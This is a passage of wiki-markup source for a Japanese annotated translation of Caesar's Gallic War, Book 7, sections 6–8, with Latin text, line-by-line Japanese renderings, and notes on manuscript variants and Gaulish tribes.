*&lt;!--❻--&gt;&lt;sup&gt;(6)&lt;/sup&gt; Id ea&lt;span style=&quot;background-color:#ffa;&quot;&gt;[[wikt:la:-ne|ne]]&lt;/span&gt; de causa, quam [[wikt:en:legatus#Latin|legatis]] &lt;u&gt;pronuntiarunt&lt;/u&gt;, 
**そのことは&lt;small&gt;（援兵たちが）&lt;/small&gt;&lt;ruby&gt;&lt;rb&gt;[[w:レガトゥス|総督副官]]&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;レーガートゥス&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;たちに報告した理由によって&lt;small&gt;（なしたのか？）&lt;/small&gt;
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：[[wikt:en:-ne#Latin|-ne]] ～ [[wikt:en:an#Latin|an]] …；～であるか、あるいは…であるか。）&lt;/span&gt;
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：下線部の [[wikt:en:pronuntiarunt|pronuntiarunt]]&lt;sub&gt;&amp;nbsp;(直接法･完了形)&lt;/sub&gt; は古い印刷本 ''[[ガリア戦記/注解編/写本と校訂版#クリティカル・アパラトゥスとその略号|edd.vett.]]'' の記述で、&lt;br&gt;　　　　　　　　&amp;alpha;系写本では [[wikt:en:pronuntiarint|pronuntiarint]]&lt;sub&gt;&amp;nbsp;(接続法･完了形)&lt;/sub&gt; だが、&lt;br&gt;　　　　　　　　&amp;beta;系写本では [[wikt:en:pronuntiaverint|pronuntia&lt;u&gt;ve&lt;/u&gt;rint]]&lt;sub&gt;&amp;nbsp;(接続法･完了形)&lt;/sub&gt; となっている。）&lt;/span&gt;
*&lt;span style=&quot;background-color:#ffa;&quot;&gt;[[wikt:la:an|an]]&lt;/span&gt; [[wikt:en:perfidia#Latin|perfidia]] [[wikt:en:adductus#Latin|adducti]] [[wikt:en:fecerint|fecerint]], 
**あるいは&lt;small&gt;（ビドゥリゲース族の）&lt;/small&gt;寝返りに動かされて、なしたのか？
*[[wikt:en:quod#Conjunction|quod]] [[wikt:en:nihil#Latin|nihil]] nobis [[wikt:en:constat#Latin|constat]], 
**我々&lt;small&gt;〔ローマ人〕&lt;/small&gt;には何ら定かではないので、
*non [[wikt:en:videtur|videtur]] pro [[wikt:en:certus#Latin|certo]] esse &lt;u&gt;proponendum&lt;/u&gt;. 
**確言するべきであるとは思われない。
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：～ pro certo ponere；～を確かであると主張する）&lt;/span&gt;
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：下線部は、&amp;alpha;系写本では [[wikt:en:proponendum|&lt;u&gt;pro&lt;/u&gt;ponendum]] だが、&lt;br&gt;　　　　　　　　　&amp;beta;系写本では [[wikt:en:ponendum|ponendum]] となっている。）&lt;/span&gt;
:　&lt;!--　[[wikt:en:|　--&gt;
;　　　ビトゥリゲース族が、ローマ人やハエドゥイー族から離反して、アルウェルニー族と同盟してしまう
*&lt;!--❼--&gt;&lt;sup&gt;(7)&lt;/sup&gt; [[wikt:en:Bituriges#Latin|Bituriges]] eorum [[wikt:en:discessus#Noun|discessu]] 
**ビトゥリゲース族は、彼ら&lt;small&gt;〔援兵〕&lt;/small&gt;の撤収により、
*[[wikt:en:statim#Latin|statim]] &lt;u&gt;se&lt;/u&gt; cum [[wikt:en:Arverni#Latin|Arvernis]] &lt;u&gt;coniunguntur&lt;/u&gt;.
**ただちに[[w:アルウェルニ族|アルウェルニー族]]と&lt;small&gt;（同盟を）&lt;/small&gt;結んだ。
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：下線部は、&amp;alpha;系写本では [[wikt:en:iunguntur|iunguntur]] だが、&lt;br&gt;　　　　　　　　　&amp;beta;系写本では se ～ [[wikt:en:coniungunt|coniungunt]] となっている。）&lt;/span&gt;
&lt;!--
&lt;span style=&quot;color:#009900;&quot;&gt;&lt;/span&gt;
&lt;small&gt;&lt;/small&gt;
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：
--&gt;

===6節===
*&lt;span style=&quot;background-color:#ffd;&quot;&gt;[[/注解/6節]]　{{進捗|00%|2025-12-15}}&lt;/span&gt;
[[画像:Warsaw Royal Castle GM (12).JPG|thumb|right|200px|[[w:グナエウス・ポンペイウス|グナエウス・ポンペイウス]]の立像（[[w:ワルシャワ歴史地区|ワルシャワ王宮]]）。彼は首都の騒乱を鎮めるために単独の[[w:執政官|執政官]]として大権を与えられ、イタリアの徴兵権を得た。[[w:三頭政治|三頭政治]]後のこの混乱期に、彼はカエサルの政敵たちからこぞって支持されたが、危機に瀕していたカエサルを打倒する絶好の機会を見送った。これは重大な逸機であり、数年後にポンペイウスにとって致命的な結果をもたらすことになる。]]
;諸軍団と分断されて苦慮するカエサル
:　
*&lt;!--❶--&gt;&lt;sup&gt;(1)&lt;/sup&gt; His rebus in Italiam Caesari [[wikt:en:nuntiatus#Latin|nuntiatis]], 
**これらの事情がイタリアにいるカエサルへ知らされると、
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：ここでいうイタリアとは、&lt;br&gt;　　　　カエサルの属州[[w:ガリア・キサルピナ|ガッリア・キサルピーナ]]のことである。）&lt;/span&gt;
*cum iam ille [[wikt:en:urbanus#Latin|urbanas]] res [[wikt:en:virtus#Latin|virtute]] [[wikt:en:Gnaei#Latin|Gnaei]]&lt;sub&gt;&amp;nbsp;([[wikt:en:Cn.#Latin|Cn.]])&lt;/sub&gt; [[wikt:en:Pompeius#Proper_noun|Pompei]] [[wikt:en:commodior#Latin|commodiorem]] in [[wikt:en:status#Noun_11|statum]] [[wikt:en:pervenisse#Latin|pervenisse]] [[wikt:en:intellegeret|intellegeret]], 
**彼は、もはや都&lt;small&gt;〔[[w:ローマ|ローマ市]]〕&lt;/small&gt;の事態は[[w:グナエウス・ポンペイウス|グナエウス・ポンペイウス]]の果断さによってより相応な状態に至ったと認識したので、
*in [[wikt:en:Gallia_transalpina#Latin|Transalpinam Galliam]] [[wikt:en:profectus#Latin|profectus]] est. 
**ガッリア・トラーンサルピーナ&lt;small&gt;〔アルプスの向こう側のガッリア〕&lt;/small&gt;に出発した。
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：[[#1節|1節]]②項で言及された Galliam Transalpinam は&lt;br&gt;　　　　アルプスの西側「長髪のガッリア」全般を指すと思われるが、&lt;br&gt;　　　　ここではどちらかといえば&lt;br&gt;　　　　ガッリア南部のローマ属州ガッリア・トラーンサルピーナ&lt;br&gt;　　　　すなわち後の[[w:ガリア・ナルボネンシス|ガッリア・ナルボーネーンスィス]]を指す。）&lt;/span&gt;
:　
*&lt;!--❷--&gt;&lt;sup&gt;(2)&lt;/sup&gt; [[wikt:en:eo#Adverb|Eo]] cum [[wikt:en:venisset|venisset]], 
**&lt;small&gt;（カエサルが）&lt;/small&gt;そこに来たときに、
*magna [[wikt:en:difficultas#Latin|difficultate]] [[wikt:en:adficiebatur|adficiebatur]], qua [[wikt:en:ratio#Latin|ratione]] ad [[wikt:en:exercitus#Noun|exercitum]] [[wikt:en:pervenire#Latin|pervenire]] [[wikt:en:posset#Latin|posset]]. 
**どのような方策で軍隊のもとへ到達することができるか、という大きな困難に苦悩させられていた。
:　
*&lt;!--❸--&gt;&lt;sup&gt;(3)&lt;/sup&gt; Nam, si [[wikt:en:legio#Latin|legiones]] in [[wikt:en:provincia#Latin|provinciam]] [[wikt:en:arcesseret|arcesseret]], 
**なぜなら、もし、諸[[w:ローマ軍団|軍団]]を属州&lt;small&gt;〔ガッリア・トラーンサルピーナ〕&lt;/small&gt;に呼び寄せるのならば、
*se [[wikt:en:absens#Latin|absente]] in [[wikt:en:iter#Latin|itinere]] [[wikt:en:proelium#Latin|proelio]] [[wikt:en:dimicaturus#Latin|dimicaturas]] [[wikt:en:intellegebat|intellegebat]]; 
**自分&lt;small&gt;〔カエサル〕&lt;/small&gt;が不在のままで、行軍中に戦闘を闘うことになるであろうと理解していた。
:　&lt;!--　[[wikt:en:|　--&gt;
*&lt;!--❹--&gt;&lt;sup&gt;(4)&lt;/sup&gt; si ipse ad exercitum [[wikt:en:contenderet|contenderet]], 
**もし&lt;small&gt;（カエサル）&lt;/small&gt;自身が&lt;small&gt;（大部隊の護衛なしで）&lt;/small&gt;軍隊のもとへ急いで行くのならば、
*&lt;u&gt;ne&lt;/u&gt; iis &lt;u&gt;quidem&lt;/u&gt; eo tempore qui quieti [[wikt:en:viderentur|viderentur]], 
**そのときには、中立を保っていると見られる者たちでさえも、
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：[[wikt:en:iis#Latin|iis]] は&amp;beta;系写本の記述で、&amp;alpha;系写本では [[wikt:en:his#Latin|his]] となっている。）&lt;/span&gt;
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：[[wikt:en:ne quidem|ne ～ quidem]]「～でさえ…ない」）&lt;/span&gt;
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：[[wikt:en:quietus#Latin|quietus, quieti]]「平和的な、中立的な」）&lt;/span&gt;
*suam [[wikt:en:salus#Latin|salutem]] [[wikt:en:recte#Latin|recte]] [[wikt:en:committi|committi]] [[wikt:en:videbat|videbat]]. 
**自分の身の安全を良く託されるとは思えなかったのだ。
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：前年まで、すなわち第6巻までの戦争は主としてガッリア北部・中部などで闘われていたので、&lt;br&gt;　　　　[[ガリア戦記 第6巻#44節|第6巻44節]]で既述のように、ローマ諸軍団はガッリア北部・中部周辺に冬営させられていた。&lt;br&gt;　　　　今回は軍団が駐留していないガッリア中南部を中心に反乱が起こったので、&lt;br&gt;　　　　カエサルと諸軍団は分断された。&lt;br&gt;　　　　そのため、カエサルが大部隊の護衛なしで北上すれば、&lt;br&gt;　　　　同盟部族にさえ寝首を掻かれる怖れがあったのである。）
&lt;!--
&lt;span style=&quot;color:#009900;&quot;&gt;&lt;/span&gt;
&lt;small&gt;&lt;/small&gt;
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：
--&gt;

===7節===
*&lt;span style=&quot;background-color:#ffd;&quot;&gt;[[/注解/7節]]　{{進捗|00%|2025-12-19}}&lt;/span&gt;
;ルクテリウスとカエサルのナルボーをめぐる駆け引き
[[画像:Narbonne_panorama.jpg|thumb|right|300px|'''ナルボー'''（Narbo）すなわち現在の[[w:ナルボンヌ|ナルボンヌ市]]（Narbonne）の街並み。ローマ人が[[w:ドミティア街道|ドミティア街道]]の拠点として植民市'''コロニア・ナルボー・マルティウス'''（Colonia Narbo Martius）を建設し、後には[[w:ローマ内戦 (紀元前49年-紀元前45年)|ローマ内乱]]のときにもカエサル派の根拠地となった。その重要性から帝政期には州都に昇格し、[[w:属州|属州]]名も[[w:ガリア・ナルボネンシス|ガッリア・ナルボネンスィス]]に改められたほどである。]]
[[画像:Via_domitia_map600x600_(1).png|thumb|right|200px|[[w:ドミティア街道|ドミティア街道]]（Via Domitia）の経路。ローマ人によってイタリアと[[w:ヒスパニア|ヒスパーニア]]を結ぶ重要な街道として整備された。本節でカエサル側の軍勢が往復したのもこの街道である。]]
:　
;　　　カドゥルキー族のルクテリウスが、ルテーニー族を同盟に引き入れる
*&lt;!--❶--&gt;&lt;sup&gt;(1)&lt;/sup&gt; [[wikt:en:interim#Latin|Interim]] [[wikt:en:Lucterius#Latin|Lucterius]] [[wikt:en:Cadurcus#Latin|Cadurcus]] 
**その間に、カドゥルキー族のルクテリウスが
*in [[wikt:en:Ruteni#Latin|Rutenos]] [[wikt:en:missus#Participle|missus]] 
**ルテーニー族のところに遣わされて、
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：[[#5節|5節]]の冒頭で述べられた。&lt;br&gt;　　　　ルテーニー族 ''[[w:en:Ruteni|Ruteni]]'' は現在の[[w:アヴェロン県|アヴェロン県]]の&lt;br&gt;　　　　[[w:ロデーズ|ロデーズ]]辺りにいたとされる。）&lt;/span&gt;
*eam [[wikt:en:civitas#Latin|civitatem]] [[wikt:en:Arverni#Latin|Arvernis]] [[wikt:en:conciliat|conciliat]]. 
**その部族に[[w:アルウェルニ族|アルウェルニー族]]との仲を取り持つ。
:　
;　　　ルクテリウスが、ローマ属州内の拠点都市ナルボーを目指す
*&lt;!--❷--&gt;&lt;sup&gt;(2)&lt;/sup&gt; [[wikt:en:progressus#Participle|Progressus]] in [[wikt:en:Nitiobriges#Latin|Nitiobriges]] et [[wikt:en:Gabali#Latin|Gabalos]] 
**&lt;small&gt;（彼は）&lt;/small&gt;ニティオブリゲース族とガバリー族のところに進んで行き、
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：ニティオブリゲース族&lt;br&gt;　　　　　またはニティオブロゲース族 ''[[w:en:Nitiobroges|Nitiobroges]]'' は&lt;br&gt;　　　　　現在の[[w:ロット＝エ＝ガロンヌ県|ロット＝エ＝ガロンヌ県]][[w:アジャン|アジャン]]辺り、&lt;br&gt;　　　　ガバリー族 ''[[w:en:Gabali|Gabali]]'' は現在の[[w:ロゼール県|ロゼール県]]辺りにいたらしい。）&lt;/span&gt;
*ab [[wikt:en:uterque#Latin|utrisque]] [[wikt:en:obses#Latin|obsides]] [[wikt:en:accipit|accipit]] 
**双方から人質たちを受け取って、
*et, magna [[wikt:en:coactus#Latin|coacta]] [[wikt:en:manus#Latin|manu]], 
**多くの手勢を徴集すると、
*in [[wikt:en:provincia#Latin|provinciam]] [[wikt:en:Narbo#Latin|Narbonem]] [[wikt:en:versus#Latin|versus]] [[wikt:en:eruptio#Latin|eruptionem]] facere [[wikt:en:contendit|contendit]]. 
**&lt;small&gt;（ローマ人の）&lt;/small&gt;[[w:属州|属州]]内のナルボーに向かって出撃することを急ぐ。
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：ナルボー [[w:la:Narbo|Narbo]] は、ローマ人が建設した地中海岸の植民市で、&lt;br&gt;　　　　ヒスパーニアとイタリアを結ぶ拠点であった。&lt;br&gt;　　　　現在の[[w:ナルボンヌ|ナルボンヌ]]。）&lt;/span&gt;
:　
;　　　カエサルもナルボーを目指す
*&lt;!--❸--&gt;&lt;sup&gt;(3)&lt;/sup&gt; Qua re [[wikt:en:untiatus#Latin|nuntiata]] 
**その事を報告されると、
*Caesar omnibus [[wikt:en:consilium#Latin|consiliis]] [[wikt:en:antevertendus#Latin|antevertendum]] &lt;span style=&quot;color:#009900;font-size:8pt;&quot;&gt;(esse)&lt;/span&gt; [[wikt:en:existimavit|existimavit]], ut [[wikt:en:Narbo#Latin|Narbonem]] [[wikt:en:proficisceretur|proficisceretur]]. 
**カエサルは、ナルボーに出発することを、あらゆる計画に先立ってするべきであると考えた。
:　
*&lt;!--❹--&gt;&lt;sup&gt;(4)&lt;/sup&gt; [[wikt:en:eo#Adverb|Eo]] cum [[wikt:en:venisset|venisset]], 
**&lt;small&gt;（カエサルは）&lt;/small&gt;そこへやって来ると、
*[[wikt:en:timens#Latin|timentes]] [[wikt:en:confirmat#Latin|confirmat]], 
**&lt;ruby&gt;&lt;rb&gt;怖気&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;おじけ&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;ている者たちを元気付けて、
*[[wikt:en:praesidium#Latin|praesidia]] 
**守備隊を
*in [[wikt:en:Ruteni#Latin|Rutenis]] [[wikt:en:provincialis#Latin|provincialibus]], [[wikt:en:Volcae#Latin|Volcis]] [[wikt:en:Arecomici#Latin|Arecomicis]], [[wikt:en:Tolosates#Latin|Tolosatibus]] 
**属州側のルテーニー族、[[w:ウォルカエ族|ウォルカエ]]・アレコミキー族、トローサーテース族&lt;small&gt;（らの領内）&lt;/small&gt;に、
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：上述のように、属州外の&lt;u&gt;ルテーニー族&lt;/u&gt;は[[w:アルウェルニ族|アルウェルニー族]]と結んでいる。）&lt;/span&gt;
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：[[w:ウォルカエ族|ウォルカエ族]]は、西側に住むテクトサゲース族 ''[[w:en:Tectosages|Tectosages]]'' と&lt;br&gt;　　　　　　　　　　　　東側に住むアレコミキー族 ''[[w:en:Arecomici|Arecomici]]'' の2支族に分かれていた。）&lt;/span&gt;
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：トローサーテース族 ''[[w:fr:Tolosates|Tolosates]]'' は、ウォルカエ・テクトサゲース族の分派とされ、&lt;br&gt;　　　　　現在の[[w:トゥールーズ|トゥールーズ]]の近くにいたと考えられている。）&lt;/span&gt;
*[[wikt:en:circum#Preposition|circum]]&lt;nowiki&gt;que&lt;/nowiki&gt; [[wikt:en:Narbo#Latin|Narbonem]], quae [[wikt:en:locum#Latin|loca]] hostibus erant [[wikt:en:finitimus#Latin|finitima]], 
**および敵方に隣接した地である[[w:ナルボンヌ|ナルボー]]周辺に
*[[wikt:en:constituit#Latin|constituit]]; 
**駐留させる。
:　
*&lt;!--❺--&gt;&lt;sup&gt;(5)&lt;/sup&gt; partem [[wikt:en:copiae#Noun_2|copiarum]] ex [[wikt:en:provincia#Latin|provincia]] 
**属州&lt;small&gt;〔ガッリア・トラーンサルピーナ〕&lt;/small&gt;からの軍勢の一部、
*[[wikt:en:supplementum#Latin|supplementum]]&lt;nowiki&gt;que&lt;/nowiki&gt;, quod ex Italia [[wikt:en:adduxerat|adduxerat]], 
**およびイタリアから率いて来た補充兵を
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：後者の補充兵 supplementum は、[[#1節|1節]]で既述のように、&lt;br&gt;　　　　[[w:ガリア・キサルピナ|ガッリア・キサルピーナ]]で徴募された軍団兵であろう。）&lt;/span&gt;
*in [[wikt:en:Helvii#Latin|Helvios]], qui fines [[wikt:en:Arverni#Latin|Arvernorum]] [[wikt:en:contingunt|contingunt]], 
**[[w:アルウェルニ族|アルウェルニー族]]の領土に接しているヘルウィイー族のところに
*[[wikt:en:convenire#Latin|convenire]] [[wikt:en:iubet#Latin|iubet]].
**集結することを命じる。
&lt;!--
&lt;span style=&quot;color:#009900;&quot;&gt;&lt;/span&gt;
&lt;small&gt;&lt;/small&gt;
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：
--&gt;

===8節===
*&lt;span style=&quot;background-color:#ffd;&quot;&gt;[[/注解/8節]]　{{進捗|00%|2026-01-03}}&lt;/span&gt;
[[画像:Carte-cevennes-france.png|thumb|right|200px|フランスにおける[[w:中央高地 (フランス)|中央高地]]（Massif Central）とセヴェンヌ山地（Cévennes）の位置]]
[[画像:Col_de_legal.jpeg|thumb|right|200px|[[w:雪|雪]]に覆われた[[w:オーヴェルニュ地域圏|オーヴェルニュ高地]]。オーヴェルニュ（Auvergne）の名は[[w:アルウェルニ族|アルウェルニー族]]（Arverni）に由来する。]]
[[画像:Causse_Mejean_Evening.jpg|thumb|right|200px|城壁のように続くケウェンナ（セヴェンヌ）山地の断崖]]
[[画像:France_Massif_central.jpg|thumb|right|200px|[[w:アルウェルニ族|アルウェルニー族]]の勢力圏であった[[w:中央高地 (フランス)|中央高地]]（Massif Central）の領域（着色部分）。平野の多いフランスにおいて山塊としてそびえ立つ。]]
:　
;カエサルがケウェンナ山地を越えてアルウェルニー族の領内へ突入
*&lt;!--❶--&gt;&lt;sup&gt;(1)&lt;/sup&gt; His rebus [[wikt:en:comparatus#Latin|comparatis]], 
**これらの事が整えられて、
*[[wikt:en:repressus#Latin|represso]] iam [[wikt:en:Lucterius#Latin|Lucterio]] et [[wikt:en:remotus#Latin|remoto]], 
**&lt;small&gt;（カドゥルキー族の）&lt;/small&gt;ルクテリウスはすでに押し留められ、遠ざけられた。
*quod [[wikt:en:intrare#Latin|intrare]] intra [[wikt:en:praesidium#Latin|praesidia]] [[wikt:en:periculosus#Latin|periculosum]] [[wikt:en:putabat|putabat]], 
**──というのは&lt;small&gt;（ローマ人の）&lt;/small&gt;守備の範囲内に踏み込むことは危険なことであると&lt;small&gt;（ルクテリウスが）&lt;/small&gt;見なしていたからであるが、──
*in [[wikt:en:Helvii#Latin|Helvios]] [[wikt:en:proficiscitur|proficiscitur]]. 
**&lt;small&gt;（そこで、カエサルは）&lt;/small&gt;ヘルウィイー族のところに出発する。
:　
;　　　カエサルが、アルウェルニー族の要害ケウェンナ山を越える
*&lt;!--❷--&gt;&lt;sup&gt;(2)&lt;/sup&gt; &lt;u&gt;Etsi&lt;/u&gt; mons &lt;u&gt;Cevenna&lt;/u&gt;, qui [[wikt:en:Arverni#Latin|Arvernos]] ab [[wikt:en:Helvii#Latin|Helviis]] [[wikt:en:discludit|discludit]], 
**[[w:アルウェルニ族|アルウェルニー族]]をヘルウィイー族から隔てている&lt;u&gt;ケウェンナ山&lt;/u&gt;は、
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：山の名は写本によって Cebenna または Cevenna となっており、&lt;br&gt;　　　　　[[w:ガイウス・プリニウス・セクンドゥス|大プリーニウス]]が記した [[wikt:en:Cebenna#Latin|Cebenna]] がガリア語に近いようである。&lt;br&gt;　　　　現在名はセヴェンヌ山地 Cévennes と呼ばれ、&lt;br&gt;　　　　　[[w:中央高地 (フランス)|フランス中央高地]]（Massif Central）の南東部にそそり立っている。）&lt;/span&gt;
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：[[wikt:en:etsi#Latin|etsi]] ～ [[wikt:en:tamen#Latin|tamen]] …「～としても、にもかかわらず…」）&lt;/span&gt;
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：[[wikt:en:mons#Latin|mons]] は &amp;beta;系写本の記述で、&amp;alpha;系写本にはない。）&lt;/span&gt;
*[[wikt:en:durissimus#Latin|durissimo]] tempore anni 
**最も厳しい時季に
*[[wikt:en:altissimus#Latin|altissima]] [[wikt:en:nix#Latin|nive]] iter [[wikt:en:impediebat|impediebat]], 
**豪[[w:雪|雪]]によって道を閉ざしていたのであるが、
*&lt;u&gt;tamen&lt;/u&gt; [[wikt:en:discussus#Latin|discussa]] [[wikt:en:nix#Latin|nive]] sex in [[wikt:en:altitudo#Latin|altitudinem]] [[wikt:en:pes#Latin|pedum]] 
**にもかかわらず&lt;small&gt;（カエサル勢は）&lt;/small&gt;深さ6&lt;u&gt;ペース&lt;/u&gt;の雪を粉砕して、
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：1[[ガイウス・ユリウス・カエサルの著作/通貨・計量単位#ペース|ペース]]は約29.6cmで、6ペースは約1.8メートル弱。）&lt;/span&gt;
*atque ita [[wikt:en:via#Latin|viis]] [[wikt:en:patefactus#Latin|patefactis]] [[wikt:en:summus#Latin|summo]] [[wikt:en:miles#Latin|militum]] &lt;u&gt;sudore&lt;/u&gt;
**このように兵士たちの最大の努力によって道が開かれて、
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：下線部は、&amp;alpha;系写本では [[wikt:en:sudor#Latin|sudore]]「汗」だが、&lt;br&gt;　　　　　　　　　&amp;beta;系写本では [[wikt:en:labor#Latin|labore]]「労苦」 となっている。）&lt;/span&gt;
*ad fines [[wikt:en:Arverni#Latin|Arvernorum]] [[wikt:en:pervenit#Latin|pervenit]]. 
**[[w:アルウェルニ族|アルウェルニー族]]の領土へ到達した。
:　
;　　　アルウェルニー族が、カエサルの奇襲に周章狼狽する
*&lt;!--❸--&gt;&lt;sup&gt;(3)&lt;/sup&gt; Quibus [[wikt:en:oppressus#Latin|oppressis]] [[wikt:en:inopinans#Latin|inopinantibus]], 
**&lt;small&gt;（アルウェルニー族は）&lt;/small&gt;彼らに対する&lt;small&gt;（カエサルの）&lt;/small&gt;攻撃を予期していなかったが、
*quod se &lt;u&gt;Cevenna&lt;/u&gt; ut [[wikt:en:murus#Latin|muro]] [[wikt:en:munitus#Latin|munitos]] [[wikt:en:existimabant|existimabant]], 
**──というのは、自分たちは&lt;u&gt;ケウェンナ&lt;/u&gt;を壁として防御されていると考えていたからであり、
*ac &lt;u&gt;ne&lt;/u&gt; [[wikt:en:singularis#Latin|singulari]] &lt;u&gt;quidem&lt;/u&gt; [[wikt:en:umquam#Latin|umquam]] homini eo tempore anni [[wikt:en:semita#Latin|semitae]] [[wikt:en:patuerant|patuerant]], 
**かつ、その時季には、個人にとってさえも、小道はかつて開かれていなかったからであるが、──
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：[[wikt:en:ne quidem|ne ～ quidem]]「～でさえ…ない」）&lt;/span&gt;
*[[wikt:en:eques#Latin|equitibus]] [[wikt:en:imperat|imperat]], 
**&lt;small&gt;（カエサルは）&lt;/small&gt;騎兵たちに命令する。
*ut, [[wikt:en:quam#Adverb|quam]] [[wikt:en:late#Latin|latissime]] [[wikt:en:possint|possint]], [[wikt:en:vagentur|vagentur]] 
**できるだけ広く動き回り、
*et [[wikt:en:quam#Adverb|quam]] maximum hostibus [[wikt:en:terror#Latin|terrorem]] [[wikt:en:inferant|inferant]]. 
**敵たちに最大限の恐怖を引き起こすように、と。
:　
;　　　ウェルキンゲトリークスが、ビトゥリゲース族のもとから軍勢を取って返す
*&lt;!--❹--&gt;&lt;sup&gt;(4)&lt;/sup&gt; Celeriter haec [[wikt:en:fama#Latin|fama]] ac &lt;u&gt;nuntiis&lt;/u&gt; 
**これらのことは速やかに風評や伝令たちによって、
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：下線部は、主要写本&amp;omega; では [[wikt:en:nuntii#Latin|nuntii]] だが、&lt;br&gt;　　　　　　　　　''[[ガリア戦記/注解編/写本と校訂版#Manutius|Manutius]]'' が [[wikt:en:nuntiis#Etymology_1|nuntiis]] と修正提案している。）&lt;/span&gt;
*ad [[wikt:en:Vercingetorix#Latin|Vercingetorigem]] [[wikt:en:perferuntur|perferuntur]]; 
**[[w:ウェルキンゲトリクス|ウェルキンゲトリークス]]のもとへ報知される。
*quem [[wikt:en:perterritus#Latin|perterriti]] omnes [[wikt:en:Arverni#Latin|Arverni]] [[wikt:en:circumsistunt|circumsistunt]] atque [[wikt:en:obsecrant|obsecrant]], 
**彼&lt;small&gt;〔ウェルキンゲトリークス〕&lt;/small&gt;を、脅かされている[[w:アルウェルニ族|アルウェルニー族]]の皆が取り巻いて、嘆願する。
*ut suis [[wikt:en:fortuna#Latin|fortunis]] [[wikt:en:consulat#Latin|consulat]], 
**自分たち&lt;small&gt;〔アルウェルニー族〕&lt;/small&gt;の境遇に配慮してくれるように、
*&lt;u&gt;neve&lt;/u&gt; ab hostibus &lt;u&gt;diripiantur&lt;/u&gt;,  
**自分たち&lt;small&gt;〔アルウェルニー族〕&lt;/small&gt;が敵&lt;small&gt;〔ローマ人〕&lt;/small&gt;によって略奪されることを許容しないように、
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：この行は、&amp;alpha;系写本では [[wikt:en:neve#Latin|neve]] ab hostibus [[wikt:en:diripiantur|diripiantur]] &lt;br&gt;　　　　　　　　　&amp;beta;系写本では [[wikt:en:neu#Latin|neu]] se ab hostibus [[wikt:en:diripi|diripi]] [[wikt:en:patiatur|patiatur]] となっている。）&lt;/span&gt;
*[[wikt:en:praesertim#Latin|praesertim]] cum [[wikt:en:videat|videat]] [[wikt:en:omnis#Latin|omne]] ad se bellum [[wikt:en:translatus#Participle|translatum]]. 
**とりわけ、すべての戦争が自分たちへ向けられると&lt;small&gt;（彼が）&lt;/small&gt;見なしているのであるから
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：praesertim cum ～；とりわけ～であるから）&lt;/span&gt;

:　&lt;!--　[[wikt:en:|　--&gt;
*&lt;!--❺--&gt;&lt;sup&gt;(5)&lt;/sup&gt; Quorum ille [[wikt:en:prex#Latin|precibus]] [[wikt:en:permotus#Latin|permotus]] 
**彼&lt;small&gt;〔ウェルキンゲトリークス〕&lt;/small&gt;は、その者たちの懇願に揺り動かされて、
*[[wikt:en:castra#Latin|castra]] ex [[wikt:en:Bituriges#Latin|Biturigibus]] [[wikt:en:movet|movet]] in [[wikt:en:Arverni#Latin|Arveruos]] [[wikt:en:versus#Latin|versus]].
**陣営をビトゥリゲース族のところから[[w:アルウェルニ族|アルウェルニー族]]のところに向けて行軍する。
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：castra movet 「陣営を動かす」＝「行軍する」）&lt;/span&gt;
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：現在の[[w:ブールジュ|ブールジュ]]辺りから[[w:クレルモン＝フェラン|クレルモン＝フェラン]]辺りに南下したようである。）&lt;/span&gt;
&lt;!--
&lt;span style=&quot;color:#009900;&quot;&gt;&lt;/span&gt;
&lt;small&gt;&lt;/small&gt;
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：
--&gt;

===9節===
